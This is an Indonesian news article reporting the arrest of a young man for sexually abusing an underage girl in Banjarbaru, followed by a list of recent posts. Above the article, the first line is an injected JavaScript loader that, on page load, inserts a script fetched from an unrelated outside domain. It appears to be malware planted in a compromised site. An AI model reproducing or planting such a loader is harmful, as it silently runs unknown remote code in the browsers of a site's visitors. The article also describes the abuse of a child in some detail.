(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Anak di Bawah Umur Dipaksa Bersetubuh di Kuburan Cina Liang Anggang


KANALKALIMANTAN.COM, BANJARBARU – Seorang anak perempuan di bawah umur terjebak bujuk rayu teman lelaki melakukan persetubuhan di sebuah taman makam perkuburan di Jalan Ahmad Yani Km 19 Kelurahan Landasan Ulin Barat, Kecamatan Liang Anggang, Kota Banjarbaru.

Adegan orang dewasa itu tersebut dilakukan tersangka berinisial ARM (20) sebanyak tiga kali. Laporan itu diterima Unit Perlindungan Perempuan dan Anak (PPA) Polres Banjarbaru pada tanggal 7 Januari 2025.

Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda, melalui Kasi Humas Ipda Kardi Gunadi memaparkan bahwa tersangka ARM melakukan perbuatan pertama kali pada Rabu (1/1/2025).

Baca juga: Konsep Indies Heritage, Kolam Renang Idaman Banjarbaru Kembali Difungsikan

“Tersangka membawa korban yang masih di bawah umur tersebut melakukan perbuatan cabul di atas kuburan Cina,” ujar Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda, melalui Kasi Humas Ipda Kardi Gunadi dalam keterangan yang diterima, Senin (13/1/2025).

Kemudian pada hari yang sama sekitar pukul 04.00 Wita, tersangka ARM kembali membawa korban ke rumahnya di komplek Taman Asri Landasan Ulin.

“Di tempat kedua korban kembali dipaksa untuk berhubungan badan sebanyak dua kali,” sambung dia.

Baca juga: Jalan Cemara Raya Banjarmasin Berlaku Dua Arah

Polisi menyebut bahwa orangtua korban merasa tidak terima atas kejadian tersebut kemudian melaporkan ke Polres Banjarbaru.

Unit PPA Satreskrim Polres Banjarbaru melakukan penyelidikan terkait laporan hingga berhasil mengamankan pelaku ARM pada 11 Januari 2025 sekitar pukul 16.40 Wita.

“Pelaku ditangkap saat pelaku bekerja di salah satu toko variasi KM 21 Kota Banjarbaru,” sebutnya.

Baca juga: Jalan Cemara Raya Banjarmasin Berlaku Dua Arah

Dari hasil intrograsi bahwa pelaku didapati fakta bahwa korban dan pelaku berpacaran.

Saat kejadian korban mengajak jalan-jalan dan saat di tempat kejadian tersebut di atas korban melakukan bujuk rayu kepada korban dan kemudian melakukan oral seks dan dilanjutkan dengan hubungan badan suami istri.

“Untuk pelaku telah diamankan beserta barang bukti di Polres Banjarbaru untuk melakukan proses hukum lebih lanjut,” tuturnya.

Baca juga: Chicken Crush Dukung Haul Guru Sekumpul, Bagikan 11.000 Kotak Makanan

Pelaku dijerat tindak pidana persetubuhan dan atau perbuatan cabul terhadap anak dibawah umur sebagaimana dimaksud dalam pasal 81ayat (2) dan atau pasal 82 ayat (1) Undang-Undang Republik Indonesia Nomor 17 tahun 2016 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang No. 1 tahun 2016 tentang Perubahan Kedua Atas Undang-Undang No. 23 tahun 2002 tentang Perlindungan Anak Menjadi Undang-Undang dengan ancaman hukum penjara paling lama 12 Tahun. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

13 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

16 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

17 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

20 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

22 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

23 jam ago